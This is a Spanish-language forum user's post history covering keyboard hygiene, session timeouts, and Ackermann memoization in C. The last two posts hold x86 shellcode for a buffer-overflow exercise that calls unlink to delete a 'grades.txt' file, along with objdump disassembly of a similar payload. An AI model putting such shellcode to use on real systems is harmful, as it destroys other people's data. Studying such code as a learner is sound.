|
31
|
Foros Generales / Foro Libre / Re: Enseña tu teclado.
|
en: 19 Febrero 2017, 03:44 am
|
Yo cuando no lo estoy usando tengo cubierto el teclado con un protector de metacrilato parecido a este:
Por supuesto para usarle hay que retirar el protector. Pero vamos yo siempre antes de sentarme delante del pc me lavo las manos, y por supuesto nunca como o bebo mientras estoy tecleando.
Por otro lado cada cierto tiempo limpio el teclado con una gamuza suave impregnada de alcohol isopropilico. Y también paso una suave brocha entre las teclas, y soplo con aire a presión. Y por ultimo cada unos meses desmonto todas las teclas y limpio a conciencia el teclado y las teclas. Vamos que en mi teclado se pueden comer sopas por que está siempre súper limpio. Lo mismo que mi ratón, gamepad, y smartphone.
No veas lo asqueroso que es usar periféricos llenos de 'm i e r d a' como me pasa con los ordenadores portátiles que tengo que arreglar. Después de tocarlos tengo que lavarme las manos con jabón por que si no tengo la impresión de que me va a entrar el tifus jeje. Saludos...
Songoku Se nota que cuidás las cosas que tenés, sos prolijito con todo seguro jaja, con tu trabajo también de seguro, y ordenado. Gente como vos da siempre una buena impresión, felicitaciones por eso. Es verdad, me imagino como dices lo asqueroso que debe ser eso, dicen que el teclado es más sucio que tocar un inodoro, es horrible. ¿No has probado usar guantes directamente? ¡Saludos!
|
|
|
34
|
Foros Generales / Sugerencias y dudas sobre el Foro / Duración de la sesión, ¿sólo 90 minutos?
|
en: 12 Febrero 2017, 16:14 pm
|
¿Por qué? creo que la seguridad no va por ese lado, tener que estar logeandose cada 90 minutos con eso sólo consiguieron que guarde las contraseñas en mi navegador que tampoco es seguro.
Antes no estaba así, ahora cuando estoy escribiendo algún tema o mensaje tengo que volver a logearme, después volver atrás y copiar todo el mensaje, es molesto eso. Me parece innecesario además, si te roban la cookie con XSS en menos de 10 minutos pueden hacer todo lo que quieran, ¿cuál es el fin de una sesión de sólo 90 m?
¿O es sólo mío el problema?
Saludos.
|
|
|
35
|
Programación / Programación C/C++ / Re: Ackermann - Programacion Dinámica
|
en: 12 Febrero 2017, 14:35 pm
|
Primero que todo hay dos, bottom-up y top-down, intenté hacer algo como esto: #include <stdio.h> int table[1000][1000]; void tstart(int m, int n){ int i,j; for (j=0; j<n; j++) for (i=0; i<m; i++) table[i][j] = -1; } int Ack (int m, int n){ if (m == 0) return n+1; if (n == 0) return Ack(m-1,1); return Ack(m-1,Ack(m,n-1)); } int Ack_td (int m, int n){ if (m == 0) return n+1; if (n == 0) return Ack(m-1,1); if (table[m][n-1] == -1) table[m][n-1] = Ack(m,n-1); if (table[m][n] == -1) table[m][n] = Ack(m-1,table[m][n-1]); return table[m][n]; } int main (void){ tstart(1000,1000); printf ("Resultado: %d\n",Ack (5,0)); printf ("Resultado: %d\n",Ack_td (5,0)); return 0; }
Ese sería el TOP-DOWN y ahora el ¿bottom up? lo intenté y no me salió Probé con varios casos parece funcionar pero no sé si está bien optimizado ahora voy a compararlos con el comando time. Pero no está funcionando bien al parecer sickcunt@skynet:~$ time ./Ack Resultado: 65533
real 0m21.944s user 0m21.924s sys 0m0.008s sickcunt@skynet:~$ vi Ack.c sickcunt@skynet:~$ gcc Ack.c -o Ack sickcunt@skynet:~$ time ./Ack Resultado: 65533
real 0m22.105s user 0m22.084s sys 0m0.008s sickcunt@skynet:~$
Me acabo de dar cuenta que cometí varios errores puse mal el nombre de la función, estoy intentando repararlo.
|
|
|
36
|
Programación / Programación C/C++ / Re: variable global
|
en: 12 Febrero 2017, 13:10 pm
|
¿Con qué objetivo lo escribís así?, ¿por qué no directamente D1=2 y D2=0?
Si estás intantando declarar D2 como una variable global el error tiene sentido. La razón es que las variables globales son inicializadas en tiempo de compilación, y estás tratanto de iniciar D2 como una operacion que debe hacerse en tiempo de ejecución, ¿se entiende?
Saludos.
|
|
|
37
|
Programación / Programación C/C++ / Re: Ackermann - Programacion Dinámica
|
en: 11 Febrero 2017, 23:48 pm
|
Intenté hacer TOP-DOWN como bien mencionas, pero no es tan sencillo como otros casos parecidos a fibonacci o la factorial porque a diferencia de esos esta llama a una función y el argumento es otra llamada a una función, ¿me explico? factorial.0 = 1 factorial.n = n*factorial(n-1)
fib.0 = 0 fib.1 = 1 fib.n = fib.(n-1) + fib.(n-2)Pero esta es así: Lo que me jode es el: A(m-1,A(m,n-1))
|
|
|
38
|
Programación / Programación C/C++ / Ackermann - Programacion Dinámica
|
en: 11 Febrero 2017, 20:31 pm
|
Hola a todos! int ackerman_or(int m, int n) { if(m==0) return n+1; else { if(n==0) return ackerman_or(m-1, 1); else return ackerman_or(m-1, ackerman_or(m, n-1)); } }
Intenté hacer una versión utilizando programación dinámica, ya que en esta versión se recalculan demasiadas cosas pero no tuve éxito. ¿Alguien que me podría dar una calavera de como hacerlo? Saludos.
|
|
|
39
|
Programación / ASM / Re: Shellcode to HEX (BOF)
|
en: 28 Enero 2017, 19:42 pm
|
Si lo aplico objdump a lo que me diste me tira esto: s.o: file format elf32-i386 Disassembly of section .text: 00000000 <main>: 0: eb 11 jmp 13 <__archivo> 00000002 <_salto>: 2: b8 0a 00 00 00 mov $0xa,%eax 7: 5b pop %ebx 8: cd 80 int $0x80 a: 89 c3 mov %eax,%ebx c: b8 01 00 00 00 mov $0x1,%eax 11: cd 80 int $0x80 00000013 <__archivo>: 13: e8 ea ff ff ff call 2 <_salto> 18: 2f das 19: 68 6f 6d 65 2f push $0x2f656d6f 1e: 68 74 74 70 64 push $0x64707474 23: 2f das 24: 74 65 je 8b <__archivo+0x78> 26: 73 74 jae 9c <__archivo+0x89> ...
O sea que: 19: 68 6f 6d 65 2f push $0x2f656d6f 1e: 68 74 74 70 64 push $0x64707474 significa /home/httpd/test?, todavía no sé como armar la shellcode ahí, ¿copio todos esos hex? No lo creo. A mi me quedó todo en una función mucho más prolijo y fácil de entender. Mi shellcode quedó así: .section .text .global main main: xorl %eax,%eax movl $10,%eax # Esta es la dirección del archivo a borrar. pushl $0x7478742e pushl $0x73656461 pushl $0x72672f2f pushl $0x2f2f2e2e movl %esp,%ebx int $0x80 movl %eax, %ebx # La salida se guarda en ebx movl $1, %eax # exit syscall int $0x80 # llamada al sistema.
Lo que tengo entendido es que cuando se crea el objeto del source, éste no guarda las variables y yo estoy desamblando el objeto por eso no tengo las variables. Saludos.
|
|
|
40
|
Programación / ASM / Re: ASM to HEX (BOF)
|
en: 28 Enero 2017, 04:40 am
|
Ya está lo solucioné haciendo esto: pushl $0x7478742e # ".txt" (en orden inverso) pushl $0x73656461 # "ades" pushl $0x72672f2f # "//gr" pushl $0x2f2f2e2e # "..//"
Luego lo cargué a ebx esp. Y después lo miré con el objdump. Muchas gracias igual, me sirve para la próxima!
|
|
|
|
|
|
|